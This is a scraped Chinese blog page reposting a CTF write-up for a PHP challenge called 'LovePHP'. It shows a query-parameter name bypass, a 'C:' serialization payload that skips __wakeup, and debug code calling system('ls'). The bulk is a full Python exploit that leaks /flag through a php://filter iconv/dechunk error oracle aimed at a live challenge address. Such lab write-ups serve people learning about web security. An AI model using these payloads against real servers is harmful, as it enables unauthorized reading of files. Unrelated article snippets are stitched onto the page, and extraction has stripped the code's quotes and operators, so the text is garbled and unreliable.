服装网站建设环境分析房地产交易网官网

web/2025/9/27 4:04:20/文章来源:
服装网站建设环境分析,房地产交易网官网,做农产品的网站名称,黑群辉建设个人网站LovePHP 直接给了源码。 network查看到#xff0c;PHP版本是7.4.33 题目要求我们GET一个my_secret.flag参数#xff0c;根据PHP字符串解析特性#xff0c;PHP需要将所有参数转换为有效的变量名#xff0c;因此在解析查询字符串时#xff0c;它会做两件事#xff1a; 删…LovePHP 直接给了源码。 network查看到PHP版本是7.4.33 题目要求我们GET一个my_secret.flag参数根据PHP字符串解析特性PHP需要将所有参数转换为有效的变量名因此在解析查询字符串时它会做两件事 删除空白符将某些字符 [ 空格 . 转换为下划线 实际应用 get传参NSS_JAY,不能直接传时传NSS[JAY。 //php的变量解析绕过[ 被处理成 _当[提前出现后后面的 . 就不会再被转义成_了。当这些字符为首字母时只有点号会被替换成下划线 所以我们传参名字应该是my[secret.flag。源码将参数my[secret.flag反序列化。 PHP版本7.4.33wakeup只能采用C绕过。C:8:Saferman:0:{}。这种情况下反序列化只执行构造方法construct和析构方法destruct。 ?php //本地调试 class Saferman{public $check True;public function __destruct(){if($this-check True){/*file(file_put_contents(php://filter/writeconvert.base64-decode/resource1.txt,PD9waHAgcGhwaW5mbygpOz8));var_dump(file(data://text/plain,?php system(\ls\);?));*///file(eval(system(dir);));file(?php eval(\system(\ls\)\)?);}}public function __wakeup(){$this-checkFalse;} }//phpinfo(); unserialize(C:8:Saferman:0:{});payload?my[secret.flagC:8:Saferman:0:{} 但是过了wakeup问题又来了。file()函数读取文件后把内容储存到数组中并不回显。经过无比艰难的搜索找到一篇文章Webの侧信道初步认识 | Boogiepop Doesn’t Laugh (boogipop.com) import requests import sys from base64 import b64decode THE GRAND IDEA: We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE filter will blow up the string length by 4x every time it is used, which will quickly cause 500 error if and only if the string is non empty. So we now have an oracle that tells us if the string is empty.THE GRAND IDEA 2: The dechunk filter is interesting. https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724 It looks like it was implemented for something http related, but for our purposes, the interesting behavior is that if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our above oracle! In fact we can verify that since the flag starts with D that the filter chaindechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LEdoes not cause a 500 error.THE REST: So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent into madness trying to figure out ways to: - somehow get other characters not at the start of the flag file to the front - detect more precisely which character is at the front def join(*x):return |.join(x)def err(s):print(s)raise ValueError####唯一修改点 def req(s):data {0: fphp://filter/{s}/resource/flag}#return requests.post(http://localhost:5000/index.php, datadata).status_code 500urlhttp://39.105.5.7:49688/?my[secret.flagC:8:Saferman:0:{}secretfphp://filter/{s}/resource/flagreturn requests.get(urlurl).status_code 500 Step 1: The second step of our exploit only works under two conditions: - String only contains a-zA-Z0-9 - String ends with two equals signsbase64-encoding the flag file twice takes care of the first condition.We dont know the length of the flag file, so we cant be sure that it will end with two equals signs.Repeated application of the convert.quoted-printable-encode will only consume additional memory if the base64 ends with equals signs, so thats what we are going to use as an oracle here. If the double-base64 does not end with two equals signs, we will add junk data to the start of the flag with convert.iconv..CSISO2022KR until it does. blow_up_enc join(*[convert.quoted-printable-encode]*1000) blow_up_utf32 convert.iconv.L1.UCS-4LE blow_up_inf join(*[blow_up_utf32]*50)header convert.base64-encode|convert.base64-encode# Start get baseline blowup print(Calculating blowup) baseline_blowup 0 for n in range(100):payload join(*[blow_up_utf32]*n)if req(f{header}|{payload}):baseline_blowup nbreak else:err(something wrong)print(fbaseline blowup is {baseline_blowup})trailer join(*[blow_up_utf32]*(baseline_blowup-1))assert req(f{header}|{trailer}) Falseprint(detecting equals) j [req(fconvert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}),req(fconvert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}),req(fconvert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}) ] print(j) if sum(j) ! 2:err(something wrong) if j[0] False:header fconvert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode elif j[1] False:header fconvert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode elif j[2] False:header fconvert.base64-encode|convert.base64-encode else:err(something wrong) print(fj: {j}) print(fheader: {header}) Step two: Now we have something of the form [a-zA-Z0-9 things]Here the pain begins. For a long time I was trying to find something that would allow me to strip successive characters from the start of the string to access every character. Maybe something like that exists but I couldnt find it. However, if you play around with filter combinations you notice there are filters that *swap* characters:convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string: abcdefgh - badcfehgconvert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters: abcdefgh - dcbahgfeThis allows us to access the first four characters of the string. Can we do better? It turns out YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends 0xff0xfe to the start of the string:abcdefgh - 0xff0xfeabcdefghThe idea being that if we now use the r4 gadget, we get something like: ba0xfe0xfffedcAnd then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid 0xfe0xff to get: bafedcAnd then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th characters of the string. Theres only one problem: our r4 gadget requires that the string length is a multiple of 4. The original base64 string will be a multiple of four by definition, so when we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it turns out, if we apply the filter convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7It will turn the into: ---AD0-3D3D---AD0-3D3DAnd this is magic, because this corrects such that when we apply the convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!Lets recap. We have a string like: abcdefghijApply the convert.quoted-printable-encode convert.iconv.L1.utf7: abcdefghij---AD0-3D3D---AD0-3D3DApply convert.iconv.CSUNICODE.CSUNICODE: 0xff0xfeabcdefghij---AD0-3D3D---AD0-3D3DApply r4 gadget: ba0xfe0xfffedcjihg----0DAD3D3----0DAD3D3Apply base64-decode | base64-encode, so the - and high bytes will disappear: bafedcjihg0DAD3D30DAD3DwThen apply r4 once more: efabijcd0gh3DAD03D3DADwDAnd heres the cute part: not only have we now accessed the 5th and 6th chars of the string, but the string still has two equals signs in it, so we can reapply the technique as many times as we want, to access all the characters in the string ;) flip convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode r2 convert.iconv.CSUNICODE.UCS-2BE r4 convert.iconv.UCS-4LE.10646-1:1993def get_nth(n):global flip, r2, r4o []chunk n // 2if chunk % 2 1: o.append(r4)o.extend([flip, r4] * (chunk // 2))if (n % 2 1) ^ (chunk % 2 1): o.append(r2)return join(*o) Step 3: This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first char is 0-9A-Fa-f. So its just a matter of finding filters which translate to or from those chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but I just bruteforced every combination of iconv filters to find these.Numbers are a bit trickier because iconv doesnt tend to touch them. In the CTF you coud porbably just guess from there once you have the letters. But if you actually want a full leak you can base64 encode a third time and use the first two letters of the resulting string to figure out which number it is. rot1 convert.iconv.437.CP930 be convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode o def find_letter(prefix):if not req(f{prefix}|dechunk|{blow_up_inf}):# a-f A-F 0-9if not req(f{prefix}|{rot1}|dechunk|{blow_up_inf}):# a-efor n in range(5):if req(f{prefix}| f{rot1}|{be}|*(n1) f{rot1}|dechunk|{blow_up_inf}):return edcba[n]breakelse:err(something wrong)elif not req(f{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}):# A-Efor n in range(5):if req(f{prefix}|string.tolower| f{rot1}|{be}|*(n1) f{rot1}|dechunk|{blow_up_inf}):return EDCBA[n]breakelse:err(something wrong)elif not req(f{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}):return *elif not req(f{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# freturn felif not req(f{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# Freturn Felse:err(something wrong)elif not req(f{prefix}|string.rot13|dechunk|{blow_up_inf}):# n-s N-Sif not req(f{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}):# n-rfor n in range(5):if req(f{prefix}|string.rot13| f{rot1}|{be}|*(n1) f{rot1}|dechunk|{blow_up_inf}):return rqpon[n]breakelse:err(something wrong)elif not req(f{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}):# N-Rfor n in range(5):if req(f{prefix}|string.rot13|string.tolower| f{rot1}|{be}|*(n1) f{rot1}|dechunk|{blow_up_inf}):return RQPON[n]breakelse:err(something wrong)elif not req(f{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# sreturn selif not req(f{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# Sreturn Selse:err(something wrong)elif not req(f{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}):# i j kif req(f{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}):return kelif req(f{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return jelif req(f{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return ielse:err(something wrong)elif not req(f{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}):# I J Kif req(f{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}):return Kelif req(f{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return Jelif req(f{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return Ielse:err(something wrong)elif not req(f{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}):# v w xif req(f{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}):return xelif req(f{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return welif req(f{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return velse:err(something wrong)elif not req(f{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}):# V W Xif req(f{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}):return Xelif req(f{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return Welif req(f{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}):return Velse:err(something wrong)elif not req(f{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}):# Zreturn Zelif not req(f{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}):# zreturn zelif not req(f{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}):# Mreturn Melif not req(f{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}):# mreturn melif not req(f{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}):# yreturn yelif not req(f{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}):# Yreturn Yelif not req(f{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}):# lreturn lelif not req(f{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}):# Lreturn Lelif not req(f{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}):# hreturn helif not req(f{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}):# Hreturn Helif not req(f{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}):# ureturn uelif not req(f{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}):# Ureturn Uelif not req(f{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# greturn gelif not req(f{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# Greturn Gelif not req(f{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# treturn telif not req(f{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}):# Treturn Telse:err(something wrong)print() for i in range(100):prefix f{header}|{get_nth(i)}letter find_letter(prefix)# its a number! check base64if letter *:prefix f{header}|{get_nth(i)}|convert.base64-encodes find_letter(prefix)if s M:# 0 - 3prefix f{header}|{get_nth(i)}|convert.base64-encode|{r2}ss find_letter(prefix)if ss in CDEFGH:letter 0elif ss in STUVWX:letter 1elif ss in ijklmn:letter 2elif ss in yz*:letter 3else:err(fbad num ({ss}))elif s N:# 4 - 7prefix f{header}|{get_nth(i)}|convert.base64-encode|{r2}ss find_letter(prefix)if ss in CDEFGH:letter 4elif ss in STUVWX:letter 5elif ss in ijklmn:letter 6elif ss in yz*:letter 7else:err(fbad num ({ss}))elif s O:# 8 - 9prefix f{header}|{get_nth(i)}|convert.base64-encode|{r2}ss find_letter(prefix)if ss in CDEFGH:letter 8elif ss in STUVWX:letter 9else:err(fbad num ({ss}))else:err(wtf)print(endletter)o lettersys.stdout.flush() We are done!! :) print() d b64decode(o.encode() b * 4) # remove KR padding d d.replace(b$)C,b) print(b64decode(d))猜测flag在根目录的/flag中修改脚本中的req(s)方法。 运行得到flag。 https://blog.zeddyu.info/2022/09/27/2022-09-28-TheEndOfAFR/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/82528.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

南昌专业做网站公司哪家好炒股网站怎么做

【耐水好】强耐水UV胶水是怎样的? 强耐水UV胶水是一种特殊的胶水,其设计重点在于其出色的耐水性能。以下是关于强耐水UV胶水的特点: 优异的耐水性能:这种胶水能在水环境下保持稳定的粘接强度,不易被水分解或削弱。因…

网站建设 镇江网站标题字体

一、功能描述 技术实现 选型:minio 文件存储服务器 onlyoffice 文档编辑器 选项特征:免费,支持私有化部署,不依赖第三方网络接口 Podman是RedHat开发的一个用户友好的容器调度器,是一种开源的Linux原生工具&#x…

烟台seo网站诊断权威迷失传奇新开网站

超时调用需要使用window.setTimeout(code,millisec)方法 它接受两个参数:要执行的代码和以毫秒表示的时间(即在执行代码前需要等待多少毫秒)。其中第一个参数可以是一个包含JS代码的字符串(就和在eval()函数中使用的字符串一样&a…

网站很久没被收录的新闻怎么处理东西湖区城乡建设局网站

前言 最近在搞知识库,需要把各种 Word、PowerPoint、Excel 文件转换成 PDF 文件,不然 Word 中的表格中的文字提取会出现一些问题;使用 Office 或者 WPS 将大量文件转换成 PDF 需要频繁重复打开文件,点击保存为PDF,然后…

php网站开发需要学哪些乐彩网站源码网站建设

当为你的下一个设计方案选择正确的核心处理器件时,你应该考虑哪些因素呢?本文将对MPU和MCU做些对比分析,并以此对器件的选择给出一些指导性建议和意见。 本文引用地址:http://www.eepw.com.cn/article/164617.htm 每当在为新设计选择正确合理…

搜索引擎排名网站如何查询中小企业名单

ChatGPT无限次数:点击直达 ChatGPT助力学术成就:打造完美论文技巧 在当今信息爆炸的时代,学术研究对于每个领域的进步和发展至关重要。而在学术研究中,撰写高质量的论文是展示研究成果和贡献的重要方式之一。然而,许多学者在论文…

汕头投资建设总公司网站织梦网站地图自动更新

Edge 被 hao123 劫持解决方法_edge被hao123锁定改不了_小子宝丁的博客-CSDN博客

做外贸网站机构百度一下你就知道了 官网

1、作用&#xff1a; <StrictMode> 是 React 提供的一个组件&#xff0c;用于帮助开发者在开发过程中检测潜在的问题&#xff0c;并修复一些常见的警告。 使用 <StrictMode> 组件包裹应用程序或组件可以启用一些额外的检查和警告。它可以帮助你捕获可能的错误、发…

佛山市做网站的免费字体设计图片

completeUnitOfWork 1 &#xff09;概述 各种不同类型组件的一个更新过程对应的是在执行 performUnitOfWork 里面的 beginWork 阶段它是去向下遍历一棵 fiber 树的一侧的子节点&#xff0c;然后遍历到叶子节点为止&#xff0c;以及 return 自己 child 的这种方式在 performUni…

东莞seo建站咨询企业设计公司

文章目录 0.简介1.PG日志介绍2.事务日志介绍3.WAL分析3.1 WAL概述3.2 WAL设计考虑3.2.1 存储格式3.2.2 实现方式3.2.3 数据完整性校验3.3 check ponit 4.事务提交日志&#xff08;CLOG&#xff09;4.1 clog存储使用介绍4.2 slru缓冲池并发控制 0.简介 本文将延续上一篇文章内容…

高端品牌型网站建设顶尖网站设计公司

java springboot word文档转pdf 1、环境2、依赖3、代码 1、环境 1、java、springboot 2、maven或者gradle 3、办公软件&#xff08;自己电脑上的wps或者office等&#xff0c;如果部署到服务器上也要安装&#xff0c;linux、Mac 都有&#xff0c;自己安装&#xff09; 可能会遇…

建站宝盒全能版重庆标本制作

连接别人&#xff1a;vim /etc/ssh/ssh_config 被连接&#xff1a; vim /etc/ssh/sshd_config 端口重启生效&#xff1a; /etc/init.d/sshd restart 转载于:https://www.cnblogs.com/gered/p/10871335.html

校园网站建设年度工作计划mq网站开发

用户在确认订单页面&#xff0c;可以针对收货地址做如下操作&#xff1a; 1. 查询用户的所有收货地址列表 2. 新增收货地址 3. 删除收货地址 4. 修改收货地址 5. 设置默认地址步骤1&#xff1a;创建对应用户地址BO public class AddressBO {private String addressId;private…

北京网站建设一条龙中山有哪些网站建立公司

数字、布尔值和字符串是构建数据结构的原子。不过&#xff0c;许多类型的信息需要不止一个原子。对象允许我们对值&#xff08;包括其他对象&#xff09;进行分组&#xff0c;从而构建更复杂的结构。到目前为止&#xff0c;我们所构建的程序都受到限制&#xff0c;因为它们只能…

.net 创建网站项目美食网站建设设计方案

文章目录 Linux第2课Windows下的环境配置-虚拟机安装一、VMware虚拟机的安装&#xff08;一&#xff09;安装VMware&#xff08;二&#xff09;启动电脑本地的VMware相关服务 二、VirtualBox安装 Linux第2课Windows下的环境配置-虚拟机安装 本节课程提供了两种虚拟机的安装方法…

工信部的网站备案信息图书馆网站建设与评价研究

线程和进程的区别 进程和线程的区别线程的优点 进程和线程的区别 1. 进程是系统进行资源分配和调度的一个独立单位,线程是程序执行的最小单位. 2. 进程有自己的内存地址空间,线程只独享指令流执行的必要资源,如寄存器和栈. 3. 由于同一进程的各线程共享内存和文件资源,可以不通…

霸县网站建设赞友商城电商平台排名第几

目录 一、Sticky分区分配策略原理二、Sticky分区分配策略 示例需求三、Sticky分区分配策略代码案例3.1、创建带有7个分区的sevenTopic主题3.2、创建三个消费者 组成 消费者组3.3、创建生产者3.4、测试3.5、Sticky分区分配策略代码案例说明 四、Sticky分区分配再平衡案例4.1、停…

口碑好的丹徒网站建设哪个网站找做软件下载

转载自 Java中的ThreadPoolExecutor类在前面的文章中&#xff0c;我们使用线程的时候就去创建一个线程&#xff0c;这样实现起来非常简便&#xff0c;但是就会有一个问题&#xff1a; 如果并发的线程数量很多&#xff0c;并且每个线程都是执行一个时间很短的任务就结束了&…

网站建设与管理教学视频下载手机网站如何制作免费

1.微服务架构模式方案 用Scale Cube方法设计应用架构&#xff0c;将应用服务按功能拆分成一组相互协作的服务。每个服务负责一组特定、相关的功能。每个服务可以有自己独立的数据库&#xff0c;从而保证与其他服务解耦。 1.1 聚合器微服务设计模式 聚合器调用多个服务实现应用程…

网站托管服务商长春880元网站建设

现在距离2024年第11届汉字小达人比赛还有六个多月的时间&#xff0c;如何利用这段时间有条不紊地备考呢&#xff1f;我的建议是两手准备&#xff1a;①把小学1-5年级的语文课本上的知识点熟悉&#xff0c;重点是字、词、成语、古诗。阅读理解不需要。②把历年真题刷刷熟&#x…